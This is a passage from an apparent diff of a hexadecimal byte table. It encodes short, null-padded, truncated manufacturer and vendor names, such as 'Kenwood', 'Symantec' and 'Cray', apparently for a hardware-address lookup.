0x74, 0x4c, 0x6f, +0x4e, 0x65, 0x77, 0x62, 0x65, 0x73, 0x74, 0x44, +0x44, 0x72, 0x73, 0x54, 0x61, 0x63, 0x74, 0x69, +0x41, 0x75, 0x64, 0x69, 0x6f, 0x42, 0x75, 0x2d, +0x54, 0x6f, 0x74, 0x74, 0x6f, 0x72, 0x69, 0x53, +0x50, 0x61, 0x72, 0x6b, 0x65, 0x72, 0x53, 0x73, +0x43, 0x6f, 0x6c, 0x6c, 0x65, 0x78, 0x00, 0x00, +0x41, 0x65, 0x77, 0x69, 0x6e, 0x54, 0x65, 0x63, +0x54, 0x72, 0x69, 0x74, 0x6f, 0x6e, 0x4f, 0x66, +0x53, 0x74, 0x65, 0x61, 0x67, 0x45, 0x74, 0x61, +0x52, 0x6f, 0x6b, 0x75, 0x00, 0x00, 0x00, 0x00, +0x4f, 0x75, 0x74, 0x6c, 0x69, 0x6e, 0x65, 0x45, +0x4e, 0x69, 0x6e, 0x65, 0x6c, 0x61, 0x6e, 0x65, +0x4e, 0x64, 0x72, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x65, 0x6e, 0x77, 0x6f, 0x6f, 0x64, 0x00, +0x47, 0x61, 0x6c, 0x61, 0x7a, 0x61, 0x72, 0x4e, +0x44, 0x69, 0x76, 0x72, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x61, 0x72, 0x74, 0x53, 0x79, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x35, +0x53, 0x61, 0x6e, 0x79, 0x63, 0x6f, 0x6d, 0x54, +0x46, 0x75, 0x6a, 0x69, 0x74, 0x73, 0x75, 0x49, +0x41, 0x6d, 0x69, 0x74, 0x79, 0x00, 0x00, 0x00, +0x54, 0x69, 0x65, 0x73, 0x73, 0x65, 0x00, 0x00, +0x53, 0x6d, 0x61, 0x72, 0x74, 0x45, 0x6d, 0x70, +0x52, 0x6f, 0x62, 0x65, 0x72, 0x74, 0x42, 0x6f, +0x52, 0x61, 0x72, 0x69, 0x74, 0x61, 0x6e, 0x43, +0x4e, 0x65, 0x63, 0x50, 0x65, 0x72, 0x73, 0x6f, +0x4d, 0x69, 0x6e, 0x64, 0x73, 0x00, 0x00, 0x00, +0x47, 0x69, 0x67, 0x61, 0x2d, 0x42, 0x79, 0x74, +0x46, 0x75, 0x6e, 0x6b, 0x77, 0x65, 0x72, 0x6b, +0x44, 0x65, 0x6e, 0x74, 0x49, 0x6e, 0x73, 0x74, +0x43, 0x6f, 0x6d, 0x61, 0x67, 0x48, 0x61, 0x6e, +0x56, 0x69, 0x6e, 0x63, 0x69, 0x00, 0x00, 0x00, +0x54, 0x6d, 0x74, 0x26, 0x44, 0x00, 0x00, 0x00, +0x52, 0x65, 0x64, 0x77, 0x6f, 0x6f, 0x64, 0x54, +0x4d, 0x69, 0x74, 0x61, 0x2d, 0x54, 0x65, 0x6b, +0x4d, 0x2d, 0x41, 0x75, 0x64, 0x69, 0x6f, 0x00, +0x4b, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x44, 0x65, +0x4b, 0x2d, 0x50, 0x61, 0x74, 0x65, 0x6e, 0x74, +0x45, 0x6d, 0x62, 0x65, 0x72, 0x00, 0x00, 0x00, +0x44, 0x61, 0x74, 0x61, 0x6d, 0x61, 0x78, 0x00, +0x42, 0x6f, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00, +0x32, 0x77, 0x69, 0x72, 0x65, 0x00, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x64, 0x4e, 0x65, 0x74, 0x77, +0x4b, 0x6f, 0x62, 0x69, 0x61, 0x6e, 0x50, 0x74, +0x48, 0x6f, 0x6b, 0x75, 0x74, 0x6f, 0x44, 0x65, +0x46, 0x61, 0x6c, 0x63, 0x6f, 0x6e, 0x73, 0x74, +0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65, 0x65, 0x72, +0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x53, +0x44, 0x69, 0x67, 0x61, 0x74, 0x74, 0x6f, 0x41, +0x43, 0x6f, 0x6e, 0x73, 0x65, 0x6e, 0x73, 0x79, +0x43, 0x6f, 0x64, 0x69, 0x61, 0x6e, 0x00, 0x00, +0x41, 0x66, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00, +0x41, 0x78, 0x69, 0x6f, 0x77, 0x61, 0x76, 0x65, +0x4d, 0x69, 0x64, 0x61, 0x73, 0x43, 0x6f, 0x6d, +0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x44, 0x65, +0x50, 0x65, 0x70, 0x70, 0x65, 0x72, 0x6c, 0x2b, +0x50, 0x68, 0x73, 0x6e, 0x65, 0x74, 0x53, 0x72, +0x53, 0x61, 0x6e, 0x6d, 0x69, 0x6e, 0x61, 0x2d, +0x4d, 0x61, 0x6b, 0x75, 0x73, 0x00, 0x00, 0x00, +0x54, 0x61, 0x70, 0x77, 0x61, 0x76, 0x65, 0x00, +0x48, 0x75, 0x62, 0x65, 0x72, 0x2b, 0x53, 0x75, +0x42, 0x69, 0x6c, 0x73, 0x54, 0x65, 0x63, 0x68, +0x57, 0x69, 0x6e, 0x6e, 0x65, 0x72, 0x73, 0x45, +0x54, 0x26, 0x44, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x73, 0x6f, 0x66, 0x74, 0x54, +0x4b, 0x6f, 0x64, 0x65, 0x6e, 0x45, 0x6c, 0x65, +0x4b, 0x69, 0x6e, 0x67, 0x54, 0x73, 0x75, 0x73, +0x46, 0x61, 0x63, 0x74, 0x75, 0x6d, 0x45, 0x6c, +0x45, 0x63, 0x6c, 0x69, 0x70, 0x73, 0x65, 0x48, +0x41, 0x66, 0x61, 0x72, 0x43, 0x6f, 0x6d, 0x6d, +0x4f, 0x70, 0x74, 0x69, 0x2d, 0x43, 0x65, 0x6c, +0x56, 0x74, 0x65, 0x72, 0x61, 0x54, 0x65, 0x63, +0x41, 0x62, 0x62, 0x2f, 0x54, 0x72, 0x6f, 0x70, +0x53, 0x57, 0x41, 0x43, 0x53, 0x63, 0x68, 0x6d, +0x4f, 0x72, 0x62, 0x69, 0x74, 0x61, 0x6c, 0x53, +0x49, 0x6e, 0x66, 0x6f, 0x74, 0x65, 0x63, 0x00, +0x48, 0x65, 0x72, 0x61, 0x65, 0x75, 0x73, 0x45, +0x45, 0x6c, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x6b, 0x75, 0x64, 0x65, 0x6e, 0x4f, +0x52, 0x66, 0x4d, 0x69, 0x63, 0x72, 0x6f, 0x44, +0x4e, 0x65, 0x64, 0x61, 0x70, 0x4e, 0x56, 0x00, +0x4d, 0x69, 0x72, 0x61, 0x65, 0x49, 0x74, 0x73, +0x49, 0x6e, 0x66, 0x72, 0x61, 0x6e, 0x74, 0x54, +0x45, 0x6d, 0x65, 0x72, 0x67, 0x69, 0x6e, 0x67, +0x44, 0x6f, 0x73, 0x63, 0x68, 0x41, 0x6d, 0x61, +0x46, 0x61, 0x62, 0x72, 0x69, 0x63, 0x37, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x74, 0x72, 0x6f, 0x6e, +0x54, 0x45, 0x41, 0x4d, 0x53, 0x4c, 0x00, 0x00, +0x53, 0x41, 0x54, 0x65, 0x68, 0x6e, 0x6f, 0x6c, +0x50, 0x61, 0x72, 0x6b, 0x65, 0x72, 0x48, 0x61, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x43, 0x62, 0x6d, +0x44, 0x61, 0x74, 0x61, 0x70, 0x72, 0x6f, 0x62, +0x53, 0x61, 0x6d, 0x73, 0x75, 0x6e, 0x67, 0x48, +0x50, 0x6c, 0x65, 0x78, 0x75, 0x73, 0x55, 0x6b, +0x4f, 0x6c, 0x79, 0x6d, 0x2d, 0x54, 0x65, 0x63, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x4e, 0x65, 0x74, +0x41, 0x6d, 0x6d, 0x61, 0x73, 0x73, 0x6f, 0x00, +0x53, 0x64, 0x6f, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x4e, 0x65, 0x74, 0x61, 0x73, 0x71, 0x00, 0x00, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x73, 0x61, +0x53, 0x63, 0x68, 0x69, 0x6c, 0x6c, 0x65, 0x72, +0x50, 0x63, 0x45, 0x6e, 0x67, 0x69, 0x6e, 0x65, +0x4f, 0x63, 0x44, 0x6f, 0x63, 0x75, 0x6d, 0x00, +0x42, 0x65, 0x6c, 0x46, 0x75, 0x73, 0x65, 0x45, +0x54, 0x65, 0x6b, 0x74, 0x6f, 0x6e, 0x65, 0x53, +0x53, 0x70, 0x61, 0x67, 0x61, 0x74, 0x41, 0x73, +0x53, 0x61, 0x66, 0x65, 0x77, 0x65, 0x62, 0x00, +0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6d, +0x45, 0x6d, 0x63, 0x6f, 0x72, 0x65, 0x00, 0x00, +0x45, 0x63, 0x68, 0x6f, 0x73, 0x74, 0x61, 0x72, +0x44, 0x69, 0x67, 0x69, 0x72, 0x6f, 0x73, 0x65, +0x43, 0x6f, 0x73, 0x6d, 0x69, 0x63, 0x45, 0x6e, +0x41, 0x69, 0x72, 0x6d, 0x61, 0x67, 0x6e, 0x65, +0x54, 0x68, 0x61, 0x6c, 0x65, 0x73, 0x45, 0x6c, +0x54, 0x61, 0x69, 0x74, 0x45, 0x6c, 0x65, 0x63, +0x50, 0x65, 0x74, 0x63, 0x6f, 0x6d, 0x6b, 0x6f, +0x4e, 0x65, 0x6f, 0x73, 0x6d, 0x61, 0x72, 0x74, +0x47, 0x72, 0x6f, 0x75, 0x70, 0x65, 0x54, 0x78, +0x44, 0x79, 0x6e, 0x61, 0x76, 0x61, 0x63, 0x54, +0x43, 0x69, 0x64, 0x72, 0x61, 0x00, 0x00, 0x00, +0x54, 0x65, 0x74, 0x72, 0x61, 0x74, 0x65, 0x63, +0x53, 0x74, 0x72, 0x79, 0x6b, 0x65, 0x72, 0x00, +0x53, 0x69, 0x6d, 0x72, 0x61, 0x64, 0x4f, 0x70, +0x53, 0x61, 0x6d, 0x77, 0x6f, 0x6f, 0x54, 0x65, +0x53, 0x79, 0x6d, 0x61, 0x6e, 0x74, 0x65, 0x63, +0x4f, 0x52, 0x69, 0x74, 0x65, 0x54, 0x65, 0x63, +0x49, 0x74, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x00, 0x00, +0x42, 0x62, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, +0x41, 0x6e, 0x74, 0x6f, 0x6e, 0x50, 0x61, 0x61, +0x41, 0x69, 0x72, 0x77, 0x61, 0x76, 0x65, 0x54, +0x56, 0x61, 0x63, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x6f, 0x54, +0x4a, 0x6f, 0x79, 0x74, 0x65, 0x63, 0x6b, 0x00, +0x4a, 0x61, 0x70, 0x61, 0x6e, 0x49, 0x6d, 0x61, +0x49, 0x63, 0x70, 0x64, 0x61, 0x73, 0x00, 0x00, +0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x50, +0x43, 0x6d, 0x7a, 0x53, 0x69, 0x73, 0x74, 0x65, +0x41, 0x74, 0x53, 0x77, 0x65, 0x64, 0x65, 0x6e, +0x44, 0x69, 0x67, 0x69, 0x6e, 0x69, 0x63, 0x73, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x62, 0x6f, 0x45, +0x53, 0x6e, 0x61, 0x70, 0x2d, 0x4f, 0x6e, 0x4f, +0x4e, 0x61, 0x73, 0x61, 0x63, 0x6f, 0x45, 0x6c, +0x4e, 0x61, 0x70, 0x61, 0x74, 0x65, 0x63, 0x68, +0x4b, 0x69, 0x6e, 0x67, 0x74, 0x65, 0x6c, 0x54, +0x43, 0x6f, 0x6d, 0x70, 0x78, 0x73, 0x00, 0x00, +0x41, 0x6e, 0x64, 0x72, 0x65, 0x77, 0x52, 0x66, +0x53, 0x6f, 0x63, 0x43, 0x6f, 0x6f, 0x70, 0x42, +0x51, 0x63, 0x6f, 0x6d, 0x54, 0x65, 0x63, 0x68, +0x49, 0x6f, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00, +0x41, 0x73, 0x6d, 0x61, 0x78, 0x53, 0x6f, 0x6c, +0x57, 0x61, 0x74, 0x65, 0x72, 0x74, 0x65, 0x6b, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, 0x6f, +0x53, 0x70, 0x61, 0x63, 0x65, 0x44, 0x79, 0x6e, +0x4f, 0x72, 0x67, 0x61, 0x4b, 0x61, 0x72, 0x74, +0x4e, 0x64, 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x43, 0x6f, 0x6e, +0x4b, 0x6f, 0x6d, 0x61, 0x78, 0x00, 0x00, 0x00, +0x49, 0x74, 0x66, 0x6f, 0x72, 0x00, 0x00, 0x00, +0x48, 0x75, 0x67, 0x65, 0x73, 0x48, 0x69, 0x2d, +0x48, 0x61, 0x75, 0x70, 0x70, 0x61, 0x75, 0x67, +0x43, 0x68, 0x65, 0x6e, 0x6d, 0x69, 0x6e, 0x67, +0x41, 0x74, 0x72, 0x69, 0x65, 0x00, 0x00, 0x00, +0x41, 0x73, 0x69, 0x70, 0x54, 0x65, 0x63, 0x68, +0x43, 0x6d, 0x61, 0x2f, 0x4d, 0x69, 0x63, 0x72, +0x54, 0x65, 0x61, 0x6d, 0x53, 0x69, 0x6d, 0x6f, +0x53, 0x61, 0x6b, 0x75, 0x6d, 0x61, 0x44, 0x65, +0x4e, 0x65, 0x74, 0x61, 0x63, 0x54, 0x65, 0x63, +0x48, 0x65, 0x73, 0x63, 0x68, 0x53, 0x63, 0x68, +0x45, 0x73, 0x61, 0x45, 0x6c, 0x65, 0x74, 0x74, +0x45, 0x72, 0x6d, 0x6d, 0x65, 0x00, 0x00, 0x00, +0x43, 0x2d, 0x47, 0x75, 0x79, 0x73, 0x00, 0x00, +0x42, 0x64, 0x74, 0x42, 0x72, 0x6f, 0x55, 0x00, +0x41, 0x64, 0x61, 0x70, 0x74, 0x69, 0x76, 0x65, +0x41, 0x63, 0x63, 0x75, 0x2d, 0x53, 0x6f, 0x72, +0x56, 0x69, 0x73, 0x69, 0x6f, 0x6e, 0x61, 0x72, +0x54, 0x61, 0x64, 0x6c, 0x79, 0x73, 0x00, 0x00, +0x53, 0x6f, 0x75, 0x74, 0x68, 0x77, 0x69, 0x6e, +0x4d, 0x79, 0x61, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x61, 0x63, 0x6d, +0x4a, 0x70, 0x73, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x49, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x63, 0x68, 0x00, 0x00, 0x00, 0x00, +0x41, 0x72, 0x69, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x51, 0x6c, 0x6f, 0x67, 0x69, 0x63, 0x00, 0x00, +0x54, 0x63, 0x6c, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x41, 0x6d, +0x4d, 0x74, 0x75, 0x46, 0x72, 0x69, 0x65, 0x64, +0x49, 0x6e, 0x63, 0x69, 0x70, 0x69, 0x65, 0x6e, +0x48, 0x75, 0x77, 0x65, 0x6c, 0x6c, 0x54, 0x65, +0x48, 0x61, 0x6e, 0x6e, 0x61, 0x65, 0x54, 0x65, +0x47, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x54, 0x65, +0x43, 0x72, 0x65, 0x72, 0x65, 0x4e, 0x65, 0x74, +0x44, 0x79, 0x6e, 0x61, 0x6d, 0x69, 0x63, 0x52, +0x53, 0x68, 0x65, 0x73, 0x74, 0x65, 0x72, 0x43, +0x53, 0x61, 0x66, 0x61, 0x72, 0x69, 0x54, 0x65, +0x4e, 0x65, 0x74, 0x63, 0x6f, 0x64, 0x65, 0x63, +0x48, 0x79, 0x75, 0x6e, 0x64, 0x61, 0x69, 0x44, +0x45, 0x64, 0x69, 0x6d, 0x61, 0x78, 0x54, 0x65, +0x52, 0x6f, 0x63, 0x68, 0x65, 0x44, 0x69, 0x61, +0x41, 0x65, 0x72, 0x61, 0x73, 0x4e, 0x65, 0x74, +0x4f, 0x6c, 0x79, 0x6d, 0x70, 0x75, 0x73, 0x53, +0x4b, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x4d, +0x53, 0x68, 0x75, 0x6b, 0x6f, 0x45, 0x6c, 0x65, +0x4e, 0x65, 0x78, 0x67, 0x65, 0x6e, 0x43, 0x69, +0x48, 0x65, 0x69, 0x6e, 0x65, 0x73, 0x79, 0x73, +0x48, 0x61, 0x72, 0x6d, 0x73, 0x57, 0x65, 0x6e, +0x43, 0x69, 0x72, 0x72, 0x75, 0x73, 0x4c, 0x6f, +0x48, 0x61, 0x77, 0x6b, 0x69, 0x6e, 0x67, 0x54, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x74, +0x54, 0x65, 0x6c, 0x65, 0x76, 0x69, 0x63, 0x4e, +0x53, 0x75, 0x6e, 0x4f, 0x70, 0x74, 0x72, 0x6f, +0x4e, 0x69, 0x68, 0x6f, 0x6e, 0x4d, 0x65, 0x63, +0x4d, 0x6f, 0x74, 0x69, 0x63, 0x49, 0x6e, 0x63, +0x47, 0x2d, 0x54, 0x65, 0x6b, 0x45, 0x6c, 0x65, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x35, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x4e, +0x4e, 0x69, 0x69, 0x67, 0x61, 0x74, 0x61, 0x53, +0x4e, 0x63, 0x69, 0x53, 0x79, 0x73, 0x74, 0x65, +0x4c, 0x69, 0x70, 0x6d, 0x61, 0x6e, 0x54, 0x72, +0x46, 0x6f, 0x72, 0x73, 0x77, 0x61, 0x79, 0x53, +0x43, 0x68, 0x61, 0x6e, 0x67, 0x63, 0x68, 0x75, +0x41, 0x74, 0x72, 0x69, 0x75, 0x6d, 0x43, 0x41, +0x42, 0x65, 0x72, 0x6d, 0x61, 0x69, 0x00, 0x00, +0x4e, 0x75, 0x6d, 0x65, 0x73, 0x61, 0x00, 0x00, +0x57, 0x61, 0x76, 0x65, 0x70, 0x6c, 0x75, 0x73, +0x54, 0x72, 0x61, 0x6a, 0x65, 0x74, 0x00, 0x00, +0x54, 0x68, 0x6f, 0x6d, 0x73, 0x6f, 0x6e, 0x54, +0x54, 0x65, 0x63, 0x6e, 0x61, 0x45, 0x6c, 0x65, +0x4f, 0x70, 0x74, 0x69, 0x75, 0x6d, 0x00, 0x00, +0x41, 0x76, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x41, 0x6c, 0x70, 0x68, 0x61, 0x63, 0x65, 0x6c, +0x41, 0x75, 0x76, 0x69, 0x74, 0x72, 0x61, 0x6e, +0x34, 0x67, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x49, 0x77, 0x6f, 0x72, 0x6c, 0x64, 0x4e, 0x65, +0x53, 0x61, 0x67, 0x65, 0x6d, 0x63, 0x6f, 0x6d, +0x54, 0x65, 0x6c, 0x65, 0x66, 0x69, 0x65, 0x6c, +0x50, 0x61, 0x72, 0x6b, 0x65, 0x72, 0x76, 0x69, +0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x50, 0x6c, +0x52, 0x61, 0x69, 0x73, 0x65, 0x63, 0x6f, 0x6d, +0x41, 0x63, 0x74, 0x69, 0x76, 0x2d, 0x4e, 0x65, +0x33, 0x36, 0x30, 0x73, 0x75, 0x6e, 0x44, 0x69, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x74, 0x72, 0x6f, +0x4c, 0x65, 0x6d, 0x6b, 0x65, 0x44, 0x69, 0x61, +0x45, 0x6c, 0x70, 0x68, 0x65, 0x6c, 0x00, 0x00, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x63, 0x6f, 0x72, +0x45, 0x6c, 0x74, 0x69, 0x73, 0x4d, 0x69, 0x63, +0x45, 0x2d, 0x54, 0x6f, 0x70, 0x4e, 0x65, 0x74, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x45, 0x6c, 0x65, +0x4a, 0x61, 0x6e, 0x69, 0x74, 0x7a, 0x61, 0x45, +0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x44, 0x72, +0x4d, 0x75, 0x72, 0x61, 0x74, 0x61, 0x4d, 0x61, +0x4d, 0x61, 0x74, 0x53, 0x41, 0x4d, 0x69, 0x72, +0x49, 0x72, 0x69, 0x73, 0x42, 0x65, 0x72, 0x68, +0x49, 0x6e, 0x32, 0x4e, 0x65, 0x74, 0x77, 0x6f, +0x47, 0x65, 0x6d, 0x73, 0x74, 0x61, 0x72, 0x54, +0x43, 0x74, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x54, 0x70, 0x61, 0x63, 0x6b, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x6c, 0x61, 0x72, 0x54, 0x65, 0x6c, +0x4e, 0x65, 0x77, 0x59, 0x6f, 0x72, 0x6b, 0x41, +0x47, 0x65, 0x6d, 0x73, 0x6f, 0x63, 0x49, 0x6e, +0x44, 0x65, 0x63, 0x72, 0x75, 0x00, 0x00, 0x00, +0x41, 0x6d, 0x74, 0x65, 0x6c, 0x63, 0x6f, 0x00, +0x41, 0x6d, 0x70, 0x6c, 0x65, 0x43, 0x6f, 0x6d, +0x47, 0x65, 0x6d, 0x77, 0x6f, 0x6e, 0x43, 0x6f, +0x54, 0x65, 0x6c, 0x65, 0x76, 0x65, 0x73, 0x53, +0x49, 0x6f, 0x6e, 0x73, 0x69, 0x67, 0x6e, 0x4f, +0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x63, +0x43, 0x61, 0x74, 0x61, 0x6c, 0x79, 0x73, 0x74, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x4e, +0x41, 0x64, 0x70, 0x47, 0x61, 0x75, 0x73, 0x65, +0x56, 0x69, 0x64, 0x65, 0x6f, 0x74, 0x72, 0x6f, +0x43, 0x6c, 0x65, 0x6d, 0x61, 0x74, 0x69, 0x63, +0x41, 0x76, 0x61, 0x72, 0x61, 0x54, 0x65, 0x63, +0x41, 0x73, 0x74, 0x61, 0x72, 0x74, 0x65, 0x54, +0x53, 0x69, 0x65, 0x6d, 0x65, 0x6e, 0x73, 0x41, +0x49, 0x6e, 0x50, 0x72, 0x6f, 0x67, 0x72, 0x65, +0x53, 0x70, 0x61, 0x72, 0x6b, 0x6c, 0x61, 0x6e, +0x53, 0x65, 0x72, 0x63, 0x6f, 0x6d, 0x6d, 0x00, +0x50, 0x6f, 0x6e, 0x69, 0x63, 0x6f, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x69, 0x63, 0x6f, 0x41, 0x75, +0x4f, 0x70, 0x65, 0x6e, 0x54, 0x65, 0x6c, 0x65, +0x4d, 0x69, 0x6c, 0x6e, 0x69, 0x6f, 0x33, 0x00, +0x4d, 0x61, 0x61, 0x73, 0x49, 0x6e, 0x74, 0x65, +0x46, 0x75, 0x6a, 0x69, 0x79, 0x61, 0x44, 0x65, +0x43, 0x75, 0x62, 0x69, 0x63, 0x44, 0x65, 0x66, +0x55, 0x6c, 0x74, 0x72, 0x61, 0x63, 0x6b, 0x65, +0x48, 0x6d, 0x65, 0x43, 0x6c, 0x65, 0x61, 0x72, +0x42, 0x6f, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x54, 0x69, 0x73, 0x63, 0x61, 0x6c, 0x69, 0x55, +0x54, 0x6f, 0x70, 0x66, 0x69, 0x65, 0x6c, 0x64, +0x54, 0x65, 0x6d, 0x69, 0x63, 0x53, 0x64, 0x73, +0x4e, 0x65, 0x74, 0x6b, 0x6c, 0x61, 0x73, 0x73, +0x46, 0x6f, 0x72, 0x6d, 0x6f, 0x73, 0x61, 0x54, +0x4d, 0x63, 0x61, 0x66, 0x65, 0x65, 0x00, 0x00, +0x43, 0x6e, 0x63, 0x72, 0x2d, 0x49, 0x74, 0x48, +0x43, 0x65, 0x72, 0x74, 0x61, 0x6e, 0x63, 0x65, +0x42, 0x6c, 0x69, 0x70, 0x00, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x64, 0x61, 0x63, 0x65, 0x54, 0x65, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x54, 0x65, +0x53, 0x63, 0x61, 0x6c, 0x65, 0x6e, 0x74, 0x00, +0x43, 0x72, 0x61, 0x79, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x45, +0x4d, 0x65, 0x74, 0x61, 0x6e, 0x6f, 0x69, 0x61, +0x47, 0x61, 0x77, 0x65, 0x6c, 0x6c, 0x54, 0x65, +0x43, 0x61, 0x73, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x53, 0x6f, 0x6c, 0x75, 0x74, 0x69, 0x6f, 0x6e, +0x4e, 0x65, 0x77, 0x63, 0x6f, 0x74, 0x65, 0x63, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x2d, 0x52, 0x65, +0x45, 0x63, 0x61, 0x73, 0x74, 0x6c, 0x65, 0x45, +0x52, 0x69, 0x76, 0x65, 0x72, 0x62, 0x65, 0x64, +0x4b, 0x6e, 0x6f, 0x76, 0x61, 0x74, 0x69, 0x76, +0x49, 0x69, 0x67, 0x61, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x73, 0x68, 0x69, 0x6d, 0x6f, 0x74, +0x48, 0x61, 0x6e, 0x6d, 0x69, 0x53, 0x65, 0x6d, +0x45, 0x76, 0x65, 0x72, 0x62, 0x65, 0x65, 0x4e, +0x50, 0x61, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x46, +0x42, 0x75, 0x72, 0x64, 0x69, 0x63, 0x6b, 0x41, +0x42, 0x26, 0x42, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x52, 0x65, 0x6d, 0x73, 0x64, 0x61, 0x71, 0x00, +0x4d, 0x79, 0x6e, 0x61, 0x68, 0x54, 0x65, 0x63, +0x4c, 0x6f, 0x77, 0x72, 0x61, 0x6e, 0x63, 0x65, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x43, 0x6f, 0x6e, +0x49, 0x73, 0x6b, 0x72, 0x61, 0x54, 0x72, 0x61, +0x41, 0x73, 0x69, 0x78, 0x45, 0x6c, 0x65, 0x63, +0x5a, 0x6f, 0x72, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x59, 0x6f, 0x6b, 0x6f, 0x54, 0x65, 0x63, 0x68, +0x57, 0x74, 0x73, 0x73, 0x00, 0x00, 0x00, 0x00, +0x56, 0x69, 0x6e, 0x65, 0x73, 0x79, 0x73, 0x54, +0x54, 0x61, 0x62, 0x6c, 0x65, 0x61, 0x75, 0x4c, +0x53, 0x6b, 0x6f, 0x76, 0x00, 0x00, 0x00, 0x00, +0x53, 0x49, 0x54, 0x54, 0x49, 0x53, 0x50, 0x41, +0x50, 0x72, 0x6f, 0x66, 0x69, 0x62, 0x75, 0x73, +0x50, 0x72, 0x69, 0x76, 0x61, 0x72, 0x69, 0x73, +0x4f, 0x73, 0x61, 0x6b, 0x61, 0x4d, 0x69, 0x63, +0x46, 0x69, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x45, 0x70, 0x69, 0x63, 0x65, 0x6e, 0x74, 0x65, +0x43, 0x72, 0x65, 0x73, 0x69, 0x74, 0x74, 0x49, +0x43, 0x6f, 0x70, 0x61, 0x6e, 0x00, 0x00, 0x00, +0x41, 0x6b, 0x73, 0x79, 0x73, 0x00, 0x00, 0x00, +0x43, 0x2d, 0x54, 0x65, 0x63, 0x68, 0x55, 0x6e, +0x58, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x6c, 0x69, 0x6f, 0x6e, 0x00, +0x53, 0x68, 0x75, 0x72, 0x65, 0x00, 0x00, 0x00, +0x52, 0x65, 0x6d, 0x65, 0x63, 0x00, 0x00, 0x00, +0x50, 0x6c, 0x78, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x4d, 0x63, 0x68, 0x61, 0x72, 0x67, 0x65, 0x00, +0x45, 0x78, 0x74, 0x72, 0x65, 0x6d, 0x65, 0x73, +0x43, 0x75, 0x73, 0x74, 0x6f, 0x6d, 0x45, 0x6e, +0x43, 0x68, 0x69, 0x79, 0x75, 0x54, 0x65, 0x63, +0x42, 0x69, 0x74, 0x77, 0x61, 0x6c, 0x6c, 0x65, +0x41, 0x64, 0x69, 0x6d, 0x6f, 0x73, 0x00, 0x00, +0x41, 0x61, 0x63, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x5a, 0x69, 0x6f, 0x6e, 0x63, 0x6f, 0x6d, 0x45, +0x57, 0x61, 0x79, 0x74, 0x65, 0x63, 0x68, 0x44, +0x53, 0x68, 0x61, 0x64, 0x6f, 0x6e, 0x67, 0x4c, +0x53, 0x61, 0x6e, 0x64, 0x6d, 0x61, 0x72, 0x74, +0x4f, 0x72, 0x62, 0x61, 0x6e, 0x00, 0x00, 0x00, 